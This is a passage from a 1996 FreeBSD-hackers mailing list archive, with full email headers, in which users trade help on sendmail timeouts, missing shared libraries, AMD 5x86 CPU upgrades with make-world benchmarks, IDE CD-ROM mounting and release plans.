conference. We didn't get some things done we wanted to, and he is gone for the conference, so as of now we are at pre2.0.5 and will continue to work towards 2.0 when he returns. This gives us the time we need to fix the TCP bugs. Later, David S. Miller davem@caip.rutgers.edu From owner-freebsd-hackers Sat May 18 00:28:10 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id AAA04211 for hackers-outgoing; Sat, 18 May 1996 00:28:10 -0700 (PDT) Received: from Arizona.EDU (Penny.Telcom.Arizona.EDU [128.196.128.217]) by freefall.freebsd.org (8.7.3/8.7.3) with ESMTP id AAA04136; Sat, 18 May 1996 00:27:57 -0700 (PDT) Received: from sun1paztcn.wr.usgs.gov by Arizona.EDU (PMDF V5.0-5 #2381) id <01I4TYBJD2WGCDTVLX@Arizona.EDU>; Sat, 18 May 1996 00:27:50 -0700 (MST) Received: from localhost by sun1paztcn.wr.usgs.gov (4.1/SMI-4.1) id AA16905; Sat, 18 May 1996 00:26:45 -0700 (MST) Date: Sat, 18 May 1996 00:26:45 -0700 From: Doug Wellington Subject: Re: sendmail read errors/timeouts etc. In-reply-to: "Your message of Fri, 17 May 1996 18:41:20 MST." To: Scott Overholser Cc: freebsd-questions@FreeBSD.ORG, freebsd-hackers@FreeBSD.ORG, freebsd-isp@FreeBSD.ORG, freebsd-bugs@FreeBSD.ORG, a-scotov@exchange.microsoft.com, doug@sun1paztcn.wr.usgs.gov Message-id: <9605180726.AA16905@sun1paztcn.wr.usgs.gov> MIME-version: 1.0 Content-type: TEXT/PLAIN; CHARSET=US-ASCII Content-transfer-encoding: 7BIT Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Previously: >i recently replaced my email gateway with a freebsd 2.1.0 box. prior to >that it was a linux box (different hardware) running sendmail 8.6.11 and >100% trouble free. now though, i am seeing sendmail errors when sending to >a few select sites. in addition, i see them when i receive from the same >sites. Well, I'm gonna start with a couple dumb questions... What version of sendmail are you running? I think the most recent is 8.7.5... When you switched, did you keep a copy of your old sendmail.cf? Have you done a diff on the old vs. the new? I know you said that your timeouts were very high, but exactly what is the r option? I used to run with 15m, but that isn't long enough anymore. Try at least 30m or maybe even 1h or more... Also, do you have any problems with a connection to those sites if you do it manually (with telnet)? How heavily is your gateway loaded? If you have a heavy load, you may want to consider using a more efficient mailer than sendmail... -Doug Doug Wellington doug@sun1paztcn.wr.usgs.gov System and Network Administrator US Geological Survey, Tucson, AZ Project Office According to proposed Federal guidelines, this message is a "non-record". Hmm, I wonder if _everything_ I say is a "non-record"... FreeBSD and Apache - the best real tools for the virtual world! Check out www.freebsd.org and www.apache.org, and for you music types, check out TCLMidi... God, I wonder what Apple is going to mess up next? Have they been taking lessons from Novell? From owner-freebsd-hackers Sat May 18 01:41:53 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id BAA09487 for hackers-outgoing; Sat, 18 May 1996 01:41:53 -0700 (PDT) Received: from cedb.dpcsys.com (cedb.DPCSYS.COM [165.90.143.3]) by freefall.freebsd.org (8.7.3/8.7.3) with SMTP id BAA09472 for ; Sat, 18 May 1996 01:41:49 -0700 (PDT) Received: from cedb (cedb.DPCSYS.COM [165.90.143.3]) by cedb.dpcsys.com (8.6.10/DPC-1.0) with SMTP id IAA13759; Sat, 18 May 1996 08:41:08 GMT Date: Sat, 18 May 1996 01:41:07 -0700 (PDT) From: Dan Busarow X-Sender: dan@cedb To: Hiroshi Takagi cc: hackers@FreeBSD.ORG, Hiroshi Takagi Subject: Re: password server (Eudora) for FreeBSD In-Reply-To: <199605180117.KAA14943@sh0.po.iijnet.or.jp> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Sat, 18 May 1996, Hiroshi Takagi wrote: > I've recently FreeBSD 2.1.0R and qpop on our PC as mail server for PC POP I just downloaded qpopper2.1.4 and ran make 44bsd, no problems. On a 2.1.0R system. You may want to avoid the beta release. Dan -- Dan Busarow DPC Systems Dana Point, California From owner-freebsd-hackers Sat May 18 04:51:51 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id EAA25903 for hackers-outgoing; Sat, 18 May 1996 04:51:51 -0700 (PDT) Received: from irz301.inf.tu-dresden.de (irz301.inf.tu-dresden.de [141.76.1.11]) by freefall.freebsd.org (8.7.3/8.7.3) with SMTP id EAA25898 for ; Sat, 18 May 1996 04:51:48 -0700 (PDT) Received: from sax.sax.de by irz301.inf.tu-dresden.de (8.6.12/8.6.12-s1) with ESMTP id NAA24098; Sat, 18 May 1996 13:51:12 +0200 Received: by sax.sax.de (8.6.12/8.6.12-s1) with UUCP id NAA13353; Sat, 18 May 1996 13:51:11 +0200 Received: (from j@localhost) by uriah.heep.sax.de (8.7.5/8.6.9) id JAA09520; Sat, 18 May 1996 09:15:35 +0200 (MET DST) From: J Wunsch Message-Id: <199605180715.JAA09520@uriah.heep.sax.de> Subject: Re: shared library "libc.so.2.2" To: freebsd-hackers@freebsd.org (FreeBSD hackers) Date: Sat, 18 May 1996 09:15:35 +0200 (MET DST) Cc: fation@abe.ecei.tohoku.ac.jp (Fation Sevrani) Reply-To: joerg_wunsch@uriah.heep.sax.de (Joerg Wunsch) In-Reply-To: <199605172028.FAA26808@kobun.abe.ecei.tohoku.ac.jp> from Fation Sevrani at "May 18, 96 05:28:28 am" X-Phone: +49-351-2012 669 X-PGP-Fingerprint: DC 47 E6 E4 FF A6 E9 8F 93 21 E0 7D F9 12 D6 4E X-Mailer: ELM [version 2.4ME+ PL17 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk As Fation Sevrani wrote: > After the installation finished successfully, running > /usr/X11R6/bin/xf86config resulted in the following error: > > ld.so failed Can't find shared library "libc.so.2.2" Install /usr/lib/libc.so.2.2 from your previous (or a 2.1R) system. Maybe it's already in the ``libcompat21'' distribution, i'm not sure. -- cheers, J"org joerg_wunsch@uriah.heep.sax.de -- http://www.sax.de/~joerg/ -- NIC: JW11-RIPE Never trust an operating system you don't have sources for. ;-) From owner-freebsd-hackers Sat May 18 04:52:45 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id EAA26035 for hackers-outgoing; Sat, 18 May 1996 04:52:45 -0700 (PDT) Received: from irz301.inf.tu-dresden.de (irz301.inf.tu-dresden.de [141.76.1.11]) by freefall.freebsd.org (8.7.3/8.7.3) with SMTP id EAA26011 for ; Sat, 18 May 1996 04:52:39 -0700 (PDT) Received: from sax.sax.de by irz301.inf.tu-dresden.de (8.6.12/8.6.12-s1) with ESMTP id NAA24209; Sat, 18 May 1996 13:52:27 +0200 Received: by sax.sax.de (8.6.12/8.6.12-s1) with UUCP id NAA13390; Sat, 18 May 1996 13:52:26 +0200 Received: (from j@localhost) by uriah.heep.sax.de (8.7.5/8.6.9) id KAA09862; Sat, 18 May 1996 10:13:28 +0200 (MET DST) From: J Wunsch Message-Id: <199605180813.KAA09862@uriah.heep.sax.de> Subject: Re: X Inside Motif for FreeBSD (a review) To: freebsd-hackers@freebsd.org (FreeBSD hackers) Date: Sat, 18 May 1996 10:13:28 +0200 (MET DST) Cc: joeg@truenorth.org Reply-To: joerg_wunsch@uriah.heep.sax.de (Joerg Wunsch) In-Reply-To: <199605170035.TAA23988@thymaster.interaccess.com> from Joe Grosch at "May 16, 96 07:35:54 pm" X-Phone: +49-351-2012 669 X-PGP-Fingerprint: DC 47 E6 E4 FF A6 E9 8F 93 21 E0 7D F9 12 D6 4E X-Mailer: ELM [version 2.4ME+ PL17 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk As Joe Grosch wrote: > I can say that so far we are very pleased with Motif. It > seems to be working out very nicely. I would recomend Motif for FreeBSD > from X Inside. At US $150.00 it seems a bargin. Great to hear! Jordan revamped the installation script, and i've been beta-testing their package. It seems that they've carefully read our commentary, most of the problems have been solved one way or the other. (The only remaining problem i found was that some directories in the cpio archives still had the wrong owner.) -- cheers, J"org joerg_wunsch@uriah.heep.sax.de -- http://www.sax.de/~joerg/ -- NIC: JW11-RIPE Never trust an operating system you don't have sources for. ;-) From owner-freebsd-hackers Sat May 18 05:25:36 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id FAA28676 for hackers-outgoing; Sat, 18 May 1996 05:25:36 -0700 (PDT) Received: from server.CIDES.or.id ([202.46.252.10]) by freefall.freebsd.org (8.7.3/8.7.3) with SMTP id FAA28669 for ; Sat, 18 May 1996 05:25:29 -0700 (PDT) Received: from unix.cides.or.id (unix.CIDES.or.id [10.10.10.50]) by server.CIDES.or.id (8.6.12/8.6.12) with ESMTP id TAA13011; Sat, 18 May 1996 19:24:05 +0700 Received: (from arman@localhost) by unix.cides.or.id (8.7.5/8.7.3) id TAA05654; Sat, 18 May 1996 19:25:06 +0700 (JVT) Date: Sat, 18 May 1996 19:25:06 +0700 (JVT) From: Arman Hazairin Hasan To: Joerg Wunsch cc: FreeBSD hackers , Fation Sevrani Subject: Re: shared library "libc.so.2.2" In-Reply-To: <199605180715.JAA09520@uriah.heep.sax.de> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk On Sat, 18 May 1996, J Wunsch wrote: > As Fation Sevrani wrote: > > > > ld.so failed Can't find shared library "libc.so.2.2" > > Install /usr/lib/libc.so.2.2 from your previous (or a 2.1R) system. > Maybe it's already in the ``libcompat21'' distribution, i'm not sure. Yupe, it's in compat21/compat21.tgz > cheers, J"org -arman- From owner-freebsd-hackers Sat May 18 06:31:04 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id GAA01159 for hackers-outgoing; Sat, 18 May 1996 06:31:04 -0700 (PDT) Received: from Sisyphos (Sisyphos.MI.Uni-Koeln.DE [134.95.212.10]) by freefall.freebsd.org (8.7.3/8.7.3) with SMTP id GAA01152 for ; Sat, 18 May 1996 06:31:00 -0700 (PDT) Received: by Sisyphos id AA16056 (5.67b/IDA-1.5 for hackers@freebsd.org); Sat, 18 May 1996 15:30:24 +0200 Message-Id: <199605181330.AA16056@Sisyphos> From: se@zpr.uni-koeln.de (Stefan Esser) Date: Sat, 18 May 1996 15:30:24 +0200 In-Reply-To: Warner Losh "Re: EDO & Memory latency" (May 16, 16:46) X-Mailer: Mail User's Shell (7.2.6 alpha(2) 7/9/95) To: Warner Losh Subject: Re: EDO & Memory latency Cc: hackers@freebsd.org Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk On May 16, 16:46, Warner Losh wrote: } Subject: Re: EDO & Memory latency } : It is, but why don't you get } : yourself an AMD 5x86 instead, } : which performs better than the } : P5-83 and is a lot cheaper ? } } What is the cost and will it plug into my oldish 33MHz 486DX } motherboard? I paid 115DM a few weeks ago, and have seen them offered for 109DM in recent mail order price lists. That translates to about $65+VAT. If your motherboard does not offer a 3.3V supply to the CPU socket, you'll need a voltage regulator socket, which may add some $20. There are complete upgarde modules sold by Kingston and some other companies (see the AMD web page for pointers). I like my 5x86 a lot. It made my old ASUS SP3G compile the world nearly as fast as others reported for a P133 (within some 10% of real time :). Depending on your memory subsystem and cache, you may see some 10% less or a few percent more speed. If you have a VLB board and get the ADZ version (which needs neither fan nor cooler at 133MHz) you can overclock it to 160MHz (4x40MHz) and have a system that beats most P90 :) (But be sure to have the CPU well cooled in that case!) Regards, STefan -- Stefan Esser, Zentrum fuer Paralleles Rechnen Tel: +49 221 4706021 Universitaet zu Koeln, Weyertal 80, 50931 Koeln FAX: +49 221 4705160 ============================================================================== http://www.zpr.uni-koeln.de/~se From owner-freebsd-hackers Sat May 18 06:56:24 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id GAA01911 for hackers-outgoing; Sat, 18 May 1996 06:56:24 -0700 (PDT) Received: from Sisyphos (Sisyphos.MI.Uni-Koeln.DE [134.95.212.10]) by freefall.freebsd.org (8.7.3/8.7.3) with SMTP id GAA01905 for ; Sat, 18 May 1996 06:56:19 -0700 (PDT) Received: by Sisyphos id AA16136 (5.67b/IDA-1.5 for hackers@freebsd.org); Sat, 18 May 1996 15:56:08 +0200 Message-Id: <199605181356.AA16136@Sisyphos> From: se@zpr.uni-koeln.de (Stefan Esser) Date: Sat, 18 May 1996 15:56:07 +0200 In-Reply-To: Michael Smith "Re: EDO & Memory latency" (May 17, 10:29) X-Mailer: Mail User's Shell (7.2.6 alpha(2) 7/9/95) To: Michael Smith Subject: Re: EDO & Memory latency Cc: hackers@freebsd.org Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk On May 17, 10:29, Michael Smith wrote: } Subject: Re: EDO & Memory latency } Warner Losh stands accused of saying: } > I take it then the amd chip is pin compatbile with the 486 I have and } > that there will be *NO* problems in pulling one out and putting the } > other in? } } There _should_ be no problems; if your board has jumper settings described } for an AMD 486DX4 or similar it should work fine. No! The AMD 486DX4 used a pinout slightly different from the i486DX4. The 5x86 fixes this, and has to be jumpered identical to an iDX4, except the clock multiplier pin selects between 2x and 3x on the intel chip, and between 4x and 3x for the AMD. ==> Treat it like an i486DX4, just be sure to set the clock multiplier jumper to the 2x position. There is a simple DOS utility that measures cache and memory latency and throughput, and it does also check the internal clock frequency of the CPU. It is called 'ctcm' and should be available from lots of FTP sites. } > What kind of performance increase should I expect? Say on a make } > world and also on CPU bound things. Make world times, ordered by real time. Since the world might have looked a little different in each case :), don't take these numbers to be too meaningful ... In one case, the compile might have been a -stable system, in the other a (bigger) -current. (But the DX2 and 5x86 values were obtained on the same system with -current, just before and after the upgrade.) P5/133, 32MB?, AHC?: 13449.10 real 8789.22 user 2073.65 sys P5/150, 32MB, IDE: 14049.84 real 8798.35 user 1448.19 sys AMD5x86, 16MB, NCR: 15240.39 real 11011.81 user 2551.85 sys iDX4/100, 32MB, BT747: 17411.11 real 12021.55 user 2848.28 sys DX2/66, 16MB, NCR: 22902.31 real 17493.97 user 3495.63 sys } Well, some numbers out of the ol' Dhrystone-2 test gave my DX2/66 about 30K, } the P5-83 about 70K and the P100 here at work about 100K. This was using } the same binary on unloaded systems. Switching the cache settings results in dhrystone 2 results that are up to 50% different, with no actual improvement in real applications. } 'world' times are harder to compare because I went to an NCR PCI SCSI } controller and a faster motherboard, sorry. Well, but they are much more meaningful, since dhrystone can be off by a factor of 1.5! Regards, STefan -- Stefan Esser, Zentrum fuer Paralleles Rechnen Tel: +49 221 4706021 Universitaet zu Koeln, Weyertal 80, 50931 Koeln FAX: +49 221 4705160 ============================================================================== http://www.zpr.uni-koeln.de/~se From owner-freebsd-hackers Sat May 18 07:51:41 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id HAA04504 for hackers-outgoing; Sat, 18 May 1996 07:51:41 -0700 (PDT) Received: from seagull.rtd.com (seagull.rtd.com [198.102.68.2]) by freefall.freebsd.org (8.7.3/8.7.3) with SMTP id HAA04498 for ; Sat, 18 May 1996 07:51:38 -0700 (PDT) Received: (from dgy@localhost) by seagull.rtd.com (8.6.12/1.2) id HAA05190 for freebsd-hackers@freefall.cdrom.com; Sat, 18 May 1996 07:51:36 -0700 From: Don Yuniskis Message-Id: <199605181451.HAA05190@seagull.rtd.com> Subject: /usr/adm use To: freebsd-hackers@freefall.FreeBSD.org (FreeBSD hackers) Date: Sat, 18 May 1996 07:51:36 -0700 (MST) X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Greetings! X and at least nas appear to expect /usr/adm for log files. Is this use deprecated under BSD derivatives? What would an appropriate alternative for these be (e.g., /var/log??) Thanx! --don From owner-freebsd-hackers Sat May 18 08:11:47 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id IAA05368 for hackers-outgoing; Sat, 18 May 1996 08:11:47 -0700 (PDT) Received: from kalypso.iqm.unicamp.br (kalypso.iqm.unicamp.br [143.106.13.10]) by freefall.freebsd.org (8.7.3/8.7.3) with ESMTP id IAA05362 for ; Sat, 18 May 1996 08:11:19 -0700 (PDT) Received: (from vazquez@localhost) by kalypso.iqm.unicamp.br (8.7.5/8.6.12/FreeBSD2.1) id MAA13680; Sat, 18 May 1996 12:04:13 GMT From: Pedro A M Vazquez Message-Id: <199605181204.MAA13680@kalypso.iqm.unicamp.br> Subject: Re: Which Netscape? (fwd) To: kuku@gilberto.physik.rwth-aachen.de Date: Sat, 18 May 1996 12:04:12 +0000 () Cc: freebsd-hackers@freebsd.org In-Reply-To: <199605171621.SAA17878@gilberto.physik.rwth-aachen.de> from "Christoph P. Kukulies" at May 17, 96 06:21:53 pm X-Organization: Instituto de Quimica - Unicamp X-URL: http://www.iqm.unicamp.br/ X-Mailer: ELM [version 2.4 PL24] Content-Type: text Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Christoph P. Kukulies said: > > I found this interesting since running a linux netscape binary > false the statistics. > > Running a BSDI binary would do either. So are there any measures > to tell them about a growing FreeBSD community? > Hmmm? I believe it works, from agent_log: Mozilla/2.0 (X11; I; FreeBSD 2.1.0-RELEASE i386) Mozilla/2.0 (X11; I; FreeBSD 2.1.0-RELEASE i386) Mozilla/3.0b2 (X11; I; FreeBSD 2.1.0-RELEASE i386) Mozilla/3.0b2 (X11; I; FreeBSD 2.1.0-RELEASE i386) Mozilla/3.0b2 (X11; I; FreeBSD 2.1.0-RELEASE i386) Pedro From owner-freebsd-hackers Sat May 18 08:13:53 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id IAA05502 for hackers-outgoing; Sat, 18 May 1996 08:13:53 -0700 (PDT) Received: from abe.ecei.tohoku.ac.jp (oyakata.abe.ecei.tohoku.ac.jp [130.34.237.10]) by freefall.freebsd.org (8.7.3/8.7.3) with ESMTP id IAA05497 for ; Sat, 18 May 1996 08:13:48 -0700 (PDT) Received: from kobun.abe.ecei.tohoku.ac.jp (kobun.abe.ecei.tohoku.ac.jp [130.34.237.8]) by abe.ecei.tohoku.ac.jp (8.7.5+2.6Wbeta6+Abe_Lab(VIII)/3.4W3+Abe_Lab(master/VIII)) with ESMTP id AAA26928 for ; Sun, 19 May 1996 00:13:41 +0900 (JST) Received: (from fation@localhost) by kobun.abe.ecei.tohoku.ac.jp (8.7.5+2.6Wbeta6+Abe_Lab(VIII)/3.4W3+Abe_Lab(client)) id AAA29009; Sun, 19 May 1996 00:13:41 +0900 (JST) Date: Sun, 19 May 1996 00:13:41 +0900 (JST) From: Fation Sevrani Message-Id: <199605181513.AAA29009@kobun.abe.ecei.tohoku.ac.jp> To: hackers@freebsd.org Subject: Mounting IDE CD-ROM Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Hello All Running 2.2-960501-SNAP I can not mount CD-ROM: # mount_cd9660 -r /dev/wcd0c /cdrom # mount_cd9660: /dev/wcd0c: device not configured Trying also: mount -t cd9660 -r /dev/wcd0c /cdrom ... same message. Trying to make the device by # cd /dev # ./MAKEDEV wcd0 doesn't change anything. I have this configuration in kernel >... > options ATAPI > device wcd0 #IDE CD-ROM >... Looking at /var/log/messages the device apparently is not probed during booting. Could someone tell me how to mount this drive ? I didn't have such kind of problems with FreeBSD 2.1. which I installed about three months ago from a CD-ROM. The reason I changed to 2.2-960501-SNAP is that X was keeping crashing my keyboard. I e-mailed to bugs@FreeBSD.org one week ago - no answer yet - I don't know if switching to 2.2-960501-SNAP was for better or worse. Thank you in advance Fation Sevrani fation@abe.ecei.tohoku.ac.jp From owner-freebsd-hackers Sat May 18 08:47:16 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id IAA06813 for hackers-outgoing; Sat, 18 May 1996 08:47:16 -0700 (PDT) Received: from kalypso.iqm.unicamp.br (kalypso.iqm.unicamp.br [143.106.13.10]) by freefall.freebsd.org (8.7.3/8.7.3) with ESMTP id IAA06771; Sat, 18 May 1996 08:46:12 -0700 (PDT) Received: (from vazquez@localhost) by kalypso.iqm.unicamp.br (8.7.5/8.6.12/FreeBSD2.1) id MAA13771; Sat, 18 May 1996 12:44:07 GMT From: Pedro A M Vazquez Message-Id: <199605181244.MAA13771@kalypso.iqm.unicamp.br> Subject: http://www.mirai.com/survey/ To: isp@freebsd.org, hackers@freebsd.org Date: Sat, 18 May 1996 12:44:06 +0000 () X-Organization: Instituto de Quimica - Unicamp X-URL: http://www.iqm.unicamp.br/ X-Mailer: ELM [version 2.4 PL24] Content-Type: text Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Hello Have you looked at http://www.mirai.com/survey/ ? They are trying to do a survey on what OS are used for web servers, something like netcraft does for web servers. There is no FreeBSD specific entry there, just a generic BSD. The results are, IMHO, unrealistic and do not agree with those reported by netcraft. Pedro From owner-freebsd-hackers Sat May 18 09:13:54 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id JAA08169 for hackers-outgoing; Sat, 18 May 1996 09:13:54 -0700 (PDT) Received: from whisker.cdrom.com (jkh-sl0-w.cdrom.com [204.216.27.194]) by freefall.freebsd.org (8.7.3/8.7.3) with ESMTP id JAA08164 for ; Sat, 18 May 1996 09:13:52 -0700 (PDT) Received: (from jkh@localhost) by whisker.cdrom.com (8.7.5/8.6.12) id JAA01893; Sat, 18 May 1996 09:05:44 -0700 (PDT) Date: Sat, 18 May 1996 09:05:44 -0700 (PDT) From: Jordan Hubbard Message-Id: <199605181605.JAA01893@whisker.cdrom.com> To: fation@abe.ecei.tohoku.ac.jp, hackers@freebsd.org Subject: Re: Mounting IDE CD-ROM Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk I guess support for your drive broke in -current.. :-( No telling when it'll be fixed, I'm afraid I have to say. Jordan From owner-freebsd-hackers Sat May 18 10:18:03 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id KAA09912 for hackers-outgoing; Sat, 18 May 1996 10:18:03 -0700 (PDT) Received: from etinc.com (etinc.com [204.141.244.98]) by freefall.freebsd.org (8.7.3/8.7.3) with SMTP id KAA09905 for ; Sat, 18 May 1996 10:18:00 -0700 (PDT) Received: from dialup-usr11.etinc.com (dialup-usr11.etinc.com [204.141.95.132]) by etinc.com (8.6.12/8.6.9) with SMTP id NAA17859 for ; Sat, 18 May 1996 13:22:22 -0400 Date: Sat, 18 May 1996 13:22:22 -0400 Message-Id: <199605181722.NAA17859@etinc.com> X-Sender: dennis@etinc.com X-Mailer: Windows Eudora Version 2.0.3 Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" To: hackers@freebsd.org From: dennis@etinc.com (Dennis) Subject: Releases - OK, I'm Stumped Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk On www.freebsd.org it says that the next release is 2.1.1 and that it will be derived from 2.1-stable, and that "occasional snapshots" will be available. Now there are snapshots of 2.2 on CDROM, but no 2.1.1 release. Is 2.2 the next release? When does -stable migrate to 2.2 or 2.1.1? Dennis ---------------------------------------------------------------------------- Emerging Technologies, Inc. http://www.etinc.com Synchronous Communications Cards and Routers For Discriminating Tastes. 56k to T1 and beyond. Frame Relay, PPP, HDLC, and X.25 for BSD/OS, FreeBSD and LINUX From owner-freebsd-hackers Sat May 18 11:15:22 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id LAA12419 for hackers-outgoing; Sat, 18 May 1996 11:15:22 -0700 (PDT) Received: from linux4nn.gn.iaf.nl (root@linux4nn.gn.iaf.nl [193.67.144.34]) by freefall.freebsd.org (8.7.3/8.7.3) with SMTP id LAA12414 for ; Sat, 18 May 1996 11:15:19 -0700 (PDT) Received: from uni4nn.iaf.nl (root@uni4nn.iaf.nl [193.67.144.33]) by linux4nn.gn.iaf.nl (8.6.9/8.6.9) with SMTP id UAA06686; Sat, 18 May 1996 20:14:56 +0200 Received: by uni4nn.iaf.nl with UUCP id AA20301 (5.67b/IDA-1.5); Sat, 18 May 1996 20:14:28 +0200 Received: by iafnl.es.iaf.nl with UUCP id AA12380 (5.67b/IDA-1.5); Sat, 18 May 1996 19:36:56 +0200 Received: (from wilko@localhost) by yedi.iaf.nl (8.6.12/8.6.6) id TAA20320; Sat, 18 May 1996 19:14:39 +0200 From: Wilko Bulte Message-Id: <199605181714.TAA20320@yedi.iaf.nl> X-Organisation: Private FreeBSD site - Arnhem - The Netherlands Subject: Re: can't mount "gold" CDs written by Yamaha recorder To: msmith@atrad.adelaide.edu.au (Michael Smith) Date: Sat, 18 May 1996 19:14:39 +0200 (MET DST) Cc: mark@linus.demon.co.uk, freebsd-hackers@FreeBSD.org, mark@cova-tech.com In-Reply-To: <199605170340.NAA09213@genesis.atrad.adelaide.edu.au> from "Michael Smith" at May 17, 96 01:10:00 pm X-Mailer: ELM [version 2.4 PL23] Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Sender: owner-hackers@FreeBSD.org X-Loop: FreeBSD.org Precedence: bulk > Mark Valentine stands accused of saying: > > > > Anyone able to read gold CDs written by the Yamaha recorder under any > > version of FreeBSD? I'm not sure if it may just be CDs written by the > > particular software I'm using ("KPAR CDcreation" under SunOS 5.5) - it's > > all I have available to try. (I get the same problem with the software > > vendor's distribution CD, but I think that was written with their own > > software on another Yamaha recorder.) > > I think it's the software - at least I _seem_ to recall someone saying > they'd made a burn using that unit. Then again I could be confusing those > that were successful with those that have been asking. I succesfully read Yamaha-written CDs under 2.1R and 2.0.5R. No problem. The Yamaha hangs of a DEC Unix Alpha box and uses GearMM software. BTW: Gear is NOT the way to go to my opinion when it comes to authoring software. Wilko _ __________________________________________________________________________ | / o / / _ Wilko Bulte email: wilko@yedi.iaf.nl |/|/ / / /( (_) Private FreeBSD site - Arnhem - The Netherlands -------------------------------------------------------------------------------- From owner-freebsd-hackers Sat May 18 11:33:51 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id LAA13136 for hackers-outgoing; Sat, 18 May 1996 11:33:51 -0700 (PDT) Received: from MindBender.HeadCandy.com (root@[199.238.225.168]) by freefall.freebsd.org (8.7.3/8.7.3) with ESMTP id LAA13099; Sat, 18 May 1996 11:33:42 -0700 (PDT) Received: from localhost.HeadCandy.com (michaelv@localhost.HeadCandy.com [127.0.0.1]) by MindBender.HeadCandy.com (8.7.5/8.6.9) with SMTP id LAA25346; Sat, 18 May 1996 11:33:27 -0700 (PDT) Message-Id: <199605181833.LAA25346@MindBender.HeadCandy.com> X-Authentication-Warning: MindBender.HeadCandy.com: Host michaelv@localhost.HeadCandy.com [127.0.0.1] didn't use HELO protocol To: Scott Overholser cc: freebsd-questions@freebsd.org, freebsd-hackers@freebsd.org, freebsd-isp@freebsd.org, freebsd-bugs@freebsd.org, a-scotov@exchange.microsoft.com Subject: Re: sendmail read errors/timeouts etc. In-reply-to: Your message of Fri, 17 May 96 18:41:20 -0700. Date: Sat, 18 May 1996 11:33:26 -0700 From: "Michael L. VanLoon -- HeadCandy.com" Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk >i recently replaced my email gateway with a freebsd 2.1.0 box. prior to >that it was a linux box (different hardware) running sendmail 8.6.11 and >100% trouble free. now though, i am seeing sendmail errors when sending to >a few select sites. in addition, i see them when i receive from the same >sites. For What It's Worth, NetBSD is currently running Sendmail 8.7.5, and I don't have this problem. Although, I don't remember seeing this in the 8.6.x versions, either. Sorry that's all the "help" I can lend... ----------------------------------------------------------------------------- Michael L. VanLoon michaelv@HeadCandy.com --< Free your mind and your machine -- NetBSD free un*x >-- NetBSD working ports: 386+PC, Mac 68k, Amiga, Atari 68k, HP300, Sun3, Sun4/4c/4m, DEC MIPS, DEC Alpha, PC532, VAX, MVME68k, arm32... NetBSD ports in progress: PICA, others... Roll your own Internet access -- Seattle People's Internet cooperative. If you're in the Seattle area, ask me how. ----------------------------------------------------------------------------- From owner-freebsd-hackers Sat May 18 11:38:27 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id LAA13344 for hackers-outgoing; Sat, 18 May 1996 11:38:27 -0700 (PDT) Received: from MindBender.HeadCandy.com (root@[199.238.225.168]) by freefall.freebsd.org (8.7.3/8.7.3) with ESMTP id LAA13339 for ; Sat, 18 May 1996 11:38:24 -0700 (PDT) Received: from localhost.HeadCandy.com (michaelv@localhost.HeadCandy.com [127.0.0.1]) by MindBender.HeadCandy.com (8.7.5/8.6.9) with SMTP id LAA25371; Sat, 18 May 1996 11:36:55 -0700 (PDT) Message-Id: <199605181836.LAA25371@MindBender.HeadCandy.com> X-Authentication-Warning: MindBender.HeadCandy.com: Host michaelv@localhost.HeadCandy.com [127.0.0.1] didn't use HELO protocol To: "Amancio Hasty Jr." cc: Charles Henrich , freebsd-hackers@freebsd.org Subject: Re: Funky Micron PP200 problems under 2.1 In-reply-to: Your message of Fri, 17 May 96 23:32:13 -0700. <199605180632.XAA01529@rah.star-gate.com> Date: Sat, 18 May 1996 11:36:54 